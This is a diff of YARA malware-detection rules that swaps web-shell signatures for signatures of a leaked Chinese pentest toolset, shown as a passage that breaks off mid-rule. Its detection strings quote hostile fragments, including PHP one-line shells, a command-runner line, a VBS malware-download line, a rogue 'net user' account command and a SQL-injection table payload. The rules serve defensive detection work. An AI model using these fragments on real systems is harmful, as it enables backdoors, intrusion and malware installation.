-		date = "2014-01-28"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1830-L1843"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "267c37c3a285a84f541066fc5b3c1747"
-		logic_hash = "bd485c825ae7ac11ff67d109d3c07fb405272a5919e00af39788d1a9c94e754d"
+		id = "fa0c0376-c5c3-5b48-b03e-86cefb547479"
+		date = "2015-06-23"
+		modified = "2022-12-21"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L809-L826"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a897d5da98dae8d80f3c0a0ef6a07c4b42fb89ce"
+		logic_hash = "e626724430d0b74aee52783dd5abdb8ccc7b951c56041e5c166b78b7370bc402"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<?php assert($_REQUEST[\"c\"]);?> " fullword
+		$s8 = "pingme.txt" fullword ascii
+		$s16 = ".\\lsasrv.pdb" ascii
+		$s20 = "Addresses Found: " fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Asp_Cmdasp
+rule SIGNATURE_BASE_CN_Honker_Ms10048_X64 : FILE
 {
 	meta:
-		description = "Web Shell - file cmdasp.asp"
+		description = "Sample from CN Honker Pentest Toolset - file ms10048-x64.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "b65b0bad-d74c-5e7a-a613-69ef80585c23"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1844-L1858"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "57b51418a799d2d016be546f399c2e9b"
-		logic_hash = "4259419b4db8e6a83df6f7d258d41028f7f76b0fd2308eeadb4555066c5a2940"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L828-L843"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "418bec3493c85e3490e400ecaff5a7760c17a0d0"
+		logic_hash = "49addce6bef7588bf7683836a54bec6a2a646ecc3f7547083174d2255454cdf0"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<%= \"\\\\\" & oScriptNet.ComputerName & \"\\\" & oScriptNet.UserName %>" fullword
-		$s7 = "Call oScript.Run (\"cmd.exe /c \" & szCMD & \" > \" & szTempFile, 0, True)" fullword
+		$s1 = "[ ] Creating evil window" fullword ascii
+		$s2 = "[+] Set to %d exploit half succeeded" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <125KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Spjspshell
+rule SIGNATURE_BASE_CN_Honker_Logcleaner : FILE
 {
 	meta:
-		description = "Web Shell - file spjspshell.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file LogCleaner.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "63ec5e47-9f3e-547a-bbff-cac8b27ac8f7"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1859-L1872"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d39d51154aaad4ba89947c459a729971"
-		logic_hash = "7926eadd3ffb21de73a63e7a28a525037bf88396ea369599b41ac8c0b0d112ad"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L845-L860"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ab77ed5804b0394d58717c5f844d9c0da5a9f03e"
+		logic_hash = "3be059627c39e262e7621fce637df21ddcabef91753192cec356f2f8cd58c1a3"
 		score = 70
-		quality = 85
-		tags = ""
+		quality = 83
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s7 = "Unix:/bin/sh -c tar vxf xxx.tar Windows:c:\\winnt\\system32\\cmd.exe /c type c:"
+		$s3 = ".exe <ip> [(path]" fullword ascii
+		$s4 = "LogCleaner v" ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <250KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Jsp_Action
+rule SIGNATURE_BASE_CN_Honker_Shell_Brute_Tool : FILE
 {
 	meta:
-		description = "Web Shell - file action.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file shell_brute_tool.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "80fd0c9f-0ed9-5308-ac72-65b9b3b47ed1"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1873-L1887"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "5a7d931094f5570aaf5b7b3b06c3d8c0"
-		logic_hash = "5ea7d074d0fe98cf2514a65231013a374532d6b3aa2487bcc34d4285f558752a"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L862-L877"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f6903a15453698c35dce841e4d09c542f9480f01"
+		logic_hash = "723fd18e59c0017b67a035ec7c685169c517d673c2bbc8fe93071b8dbd1e606a"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "String url=\"jdbc:oracle:thin:@localhost:1521:orcl\";" fullword
-		$s6 = "<%@ page contentType=\"text/html;charset=gb2312\"%>" fullword
+		$s0 = "http://24hack.com/xyadmin.asp" fullword ascii
+		$s1 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <1000KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Inderxer
+rule SIGNATURE_BASE_CN_Honker_Hxdef100 : FILE
 {
 	meta:
-		description = "Web Shell - file Inderxer.asp"
+		description = "Sample from CN Honker Pentest Toolset - file hxdef100.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "3b931752-85ae-52d0-9deb-1a1b03b39e32"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1888-L1901"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9ea82afb8c7070817d4cdf686abe0300"
-		logic_hash = "915f2f38c1ca1321980ac66ebb95b0c46443e0ba64cc4b2014200db43439c85e"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L879-L895"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "bf30ccc565ac40073b867d4c7f5c33c6bc1920d6"
+		logic_hash = "49f15482104297f0c57713712a7add49d58007afeefd11151dc5749b755860ba"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s4 = "<td>Nereye :<td><input type=\"text\" name=\"nereye\" size=25></td><td><input typ"
+		$s6 = "BACKDOORSHELL" fullword ascii
+		$s15 = "%tmpdir%" fullword ascii
+		$s16 = "%cmddir%" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Asp_Rader
+rule SIGNATURE_BASE_CN_Honker_Arp_EMP_V1_0 : FILE
 {
 	meta:
-		description = "Web Shell - file Rader.asp"
+		description = "Sample from CN Honker Pentest Toolset - file Arp EMP v1.0.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "03782e94-4fac-529f-b235-19cdb124d53b"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1902-L1916"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ad1a362e0a24c4475335e3e891a01731"
-		logic_hash = "b578f3e844cbb361f455e55353fad2f0134ede7c3c468cebad9ae265e6e768b8"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L897-L911"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "ae4954c142ad1552a2abaef5636c7ef68fdd99ee"
+		logic_hash = "457035b1685ac7f1bdccaab0b64bb1ad3ca1bf5e0747222347ced2a11b9b9504"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "FONT-WEIGHT: bold; FONT-SIZE: 10px; BACKGROUND: none transparent scroll repeat 0"
-		$s3 = "m\" target=inf onClick=\"window.open('?action=help','inf','width=450,height=400 "
+		$s0 = "Arp EMP v1.0.exe" fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <400KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_C99_Madnet_Smowu
+rule SIGNATURE_BASE_CN_Honker_Getwebshell : FILE
 {
 	meta:
-		description = "Web Shell - file smowu.php"
+		description = "Sample from CN Honker Pentest Toolset - file GetWebShell.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "919883f4-af66-5d07-ad41-8cba3e049396"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1917-L1935"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3aaa8cad47055ba53190020311b0fb83"
-		logic_hash = "5c4f76bdbe535a899e40c890eb1ea65e070c781fe5dd44cf13d4832cfd6d2e13"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L913-L930"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b63b53259260a7a316932c0a4b643862f65ee9f8"
+		logic_hash = "5d6638596607884950e702144416eb6fd3b009c88e4af5f81a50f346d7491c95"
 		score = 70
-		quality = 85
-		tags = ""
+		quality = 60
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "//Authentication" fullword
-		$s1 = "$login = \"" fullword
-		$s2 = "eval(gzinflate(base64_decode('"
-		$s4 = "//Pass"
-		$s5 = "$md5_pass = \""
-		$s6 = "//If no pass then hash"
+		$s0 = "echo P.Open \"GET\",\"http://www.baidu.com/ma.exe\",0 >>run.vbs" fullword ascii
+		$s5 = "http://127.0.0.1/sql.asp?id=1" fullword wide
+		$s14 = "net user admin$ hack /add" fullword wide
+		$s15 = ";Drop table [hack];create table [dbo].[hack] ([cmd] [image])--" fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <70KB and 1 of them
 }
-rule SIGNATURE_BASE_Webshell_Php_Moon
+rule SIGNATURE_BASE_CN_Honker_Cracker_SHELL : FILE
 {
 	meta:
-		description = "Web Shell - file moon.php"
+		description = "Sample from CN Honker Pentest Toolset - file SHELL.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "2249a058-7469-5054-9c51-cb20ef8197ca"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1936-L1951"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2a2b1b783d3a2fa9a50b1496afa6e356"
-		logic_hash = "4e26dbef647caee19a8707a067c228ba96bd986369e4c87c68964ae42c85b09a"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L932-L949"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "c1dc349ff44a45712937a8a9518170da8d4ee656"
+		logic_hash = "03da662e8d5dfbae524c4949d90e143714e6c4783e02600e059172e8b09ebc57"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s2 = "echo '<option value=\"create function backshell returns string soname"
-		$s3 = "echo      \"<input name='p' type='text' size='27' value='\".dirname(_FILE_).\""
-		$s8 = "echo '<option value=\"select cmdshell(\\'net user "
+		$s1 = "http://127.0.0.1/error1.asp" fullword ascii
+		$s2 = "password,PASSWORD,pass,PASS,Lpass,lpass,Password" fullword wide
+		$s3 = "\\SHELL" wide
+		$s4 = "WebBrowser1" fullword ascii
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Minupload
+rule SIGNATURE_BASE_CN_Honker_MSTSC_Can_Direct_Copy : FILE
 {
 	meta:
-		description = "Web Shell - file minupload.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file MSTSC_can_direct_copy.EXE"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1953-L1967"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "ec905a1395d176c27f388d202375bdf9"
-		logic_hash = "53dea3ea0e2cf83907273fa7f64b21b40e9a5c8e4aa34e5d46d2762396fa89ce"
+		id = "9155cb6f-14b6-524a-9cb9-1a88f7facf4e"
+		date = "2015-06-23"
+		modified = "2022-12-21"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L951-L968"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2f3cbfd9f82f8abafdb1d33235fa6bfa1e1f71ae"
+		logic_hash = "5437abd979a8df5ee3f8508f7a5fff85714b5d8a22ab1760fe1e7a8168a8c255"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<input type=\"submit\" name=\"btnSubmit\" value=\"Upload\">   " fullword
-		$s9 = "String path=new String(request.getParameter(\"path\").getBytes(\"ISO-8859"
+		$s1 = "srv\\newclient\\lib\\win32\\obj\\i386\\mstsc.pdb" ascii
+		$s2 = "Clear Password" fullword wide
+		$s3 = "/migrate -- migrates legacy connection files that were created with " fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <600KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_ELMALISEKER_Backd00R
+rule SIGNATURE_BASE_CN_Honker_Lcx_Lcx : FILE
 {
 	meta:
-		description = "Web Shell - file ELMALISEKER Backd00r.asp"
+		description = "Sample from CN Honker Pentest Toolset - HTRAN - file lcx.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "6c2e1e85-6387-5be2-b7b2-5ae8a5cca6df"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1968-L1982"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "3aa403e0a42badb2c23d4a54ef43e2f4"
-		logic_hash = "c5eea930dc386c60e60f052c4945c8d6c0125d3500e60794e21d5ea04f226628"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L970-L988"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "0c8779849d53d0772bbaa1cedeca150c543ebf38"
+		logic_hash = "6e81cac14baa9f0ae35eb26f30291cba6f7ef1864f8970b97a3e6e7205d10eb9"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "response.write(\"<tr><td bgcolor=#F8F8FF><input type=submit name=cmdtxtFileOptio"
-		$s2 = "if FP = \"RefreshFolder\" or request.form(\"cmdOption\")=\"DeleteFolder\" or req"
+		$s1 = "%s -<listen|tran|slave> <option> [-log logfile]" fullword ascii
+		$s2 = "=========== Code by lion & bkbll" ascii
+		$s3 = "Welcome to [url]http://www.cnhonker.com[/url] " ascii
+		$s4 = "-tran   <ConnectPort> <TransmitHost> <TransmitPort>" fullword ascii
+		$s5 = "[+] Start Transmit (%s:%d <-> %s:%d) ......" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <30KB and 1 of them
 }
-rule SIGNATURE_BASE_Webshell_PHP_Bug_1_
+rule SIGNATURE_BASE_CN_Honker_Postgresql : FILE
 {
 	meta:
-		description = "Web Shell - file bug (1).php"
+		description = "Sample from CN Honker Pentest Toolset - file PostgreSQL.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "ae90d03c-ef67-5ece-81ae-86947196a81c"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1983-L1996"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "91c5fae02ab16d51fc5af9354ac2f015"
-		logic_hash = "12b957b7e0d0823721273ab71a19ee62d84a8dc5f584a46691f0e0aef996386e"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L990-L1005"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1ecfaa91aae579cfccb8b7a8607176c82ec726f4"
+		logic_hash = "f6921e7a7c88d70c77fc30dc273aac3679a3c0ab44d4d4706d7a405f16cff6a1"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "@include($_GET['bug']);" fullword
+		$s1 = "&http://192.168.16.186/details.php?id=1" fullword ascii
+		$s2 = "PostgreSQL_inject" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <2000KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Caidao_Shell_Hkmjj
+rule SIGNATURE_BASE_CN_Honker_Webrobot : FILE
 {
 	meta:
-		description = "Web Shell - file hkmjj.asp"
+		description = "Sample from CN Honker Pentest Toolset - file WebRobot.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "8b6350b6-17ea-5f44-a42a-875d55bb2de8"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L1997-L2010"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e7b994fe9f878154ca18b7cde91ad2d0"
-		logic_hash = "9a25df170ed165fe6528e6b9374ae572bcd26cd2e1f4014c7aa4953122671fac"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1007-L1023"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "af054994c911b4301490344fca4bb19a9f394a8f"
+		logic_hash = "7d7fc9fb9156aa20993dcb809f4e1d3d357f6826dcac7e628dbe6e0f81e5a61a"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s6 = "codeds=\"Li#uhtxhvw+%{{%,#@%{%#wkhq#hydo#uhtxhvw+%knpmm%,#hqg#li\"  " fullword
+		$s1 = "%d-%02d-%02d %02d^%02d^%02d ScanReprot.htm" fullword ascii
+		$s2 = "\\log\\ProgramDataFile.dat" ascii
+		$s3 = "\\data\\FilterKeyword.txt" ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <2000KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Jsp_Asd
+rule SIGNATURE_BASE_CN_Honker_Baidu_Extractor_Ver1_0 : FILE
 {
 	meta:
-		description = "Web Shell - file asd.jsp"
+		description = "Sample from CN Honker Pentest Toolset - file Baidu_Extractor_Ver1.0.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "94f3c3d8-aa68-5589-b26f-42315634ff30"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2011-L2025"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a042c2ca64176410236fcc97484ec599"
-		logic_hash = "6620b796b55a67010cd3edebc2ec84c2657717722129ea46288d262cfd1c7e1c"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1025-L1042"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1899f979360e96245d31082e7e96ccedbdbe1413"
+		logic_hash = "cba7357ab3cb840b3b115abe00e1a3a712feb036cae816c8ded10d73029efe2b"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s3 = "<%@ page language=\"java\" pageEncoding=\"gbk\"%>" fullword
-		$s6 = "<input size=\"100\" value=\"<%=application.getRealPath(\"/\") %>\" name=\"url"
+		$s3 = "\\Users\\Admin" wide
+		$s11 = "soso.com" fullword wide
+		$s12 = "baidu.com" fullword wide
+		$s19 = "cmd /c ping " fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <500KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Metaslsoft
+rule SIGNATURE_BASE_CN_Honker_FTP_Scanning : FILE
 {
 	meta:
-		description = "Web Shell - file metaslsoft.php"
+		description = "Sample from CN Honker Pentest Toolset - file FTP_scanning.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
-		date = "2014-01-28"
+		id = "828a0dc8-3748-5c07-a767-4f9e85968ca1"
+		date = "2015-06-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L2027-L2040"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "aa328ed1476f4a10c0bcc2dde4461789"
-		logic_hash = "20d938fbe21bcf04f09c6450a9acd5db556e9c9f83149d3cdd098be7a905d5ca"
+		reference = "Disclosed CN Honker Pentest Toolset"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/cn_pentestset_tools.yar#L1044-L1061"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5a3543ee5aed110c87cbc3973686e785bcb5c44e"
+		logic_hash = "5f1c312dc9fa80c120699bacd17d5e4c147ab96f90c619a8c39ec27646a1307f"
 		score = 70
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s7 = "$buff .= \"<tr><td><a href=\\\"?d=\".$pwd.\"\\\">[ $folder ]</a></td><td>LINK</t"
+		$s1 = "CNotSupportedE" fullword ascii
+		$s2 = "nINet.dll" fullword ascii
+		$s9 = "?=MODULE" fullword ascii
+		$s13 = "MSIE 6*" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <550KB and all of them
 }
-rule SIGNATURE_BASE_Webshell_Asp_Ajan
+rule SIGNATURE_BASE_CN_Honker_Dirdown_Dirdown : FILE
 {
 	meta:
-		description = "Web Shell - file Ajan.asp"
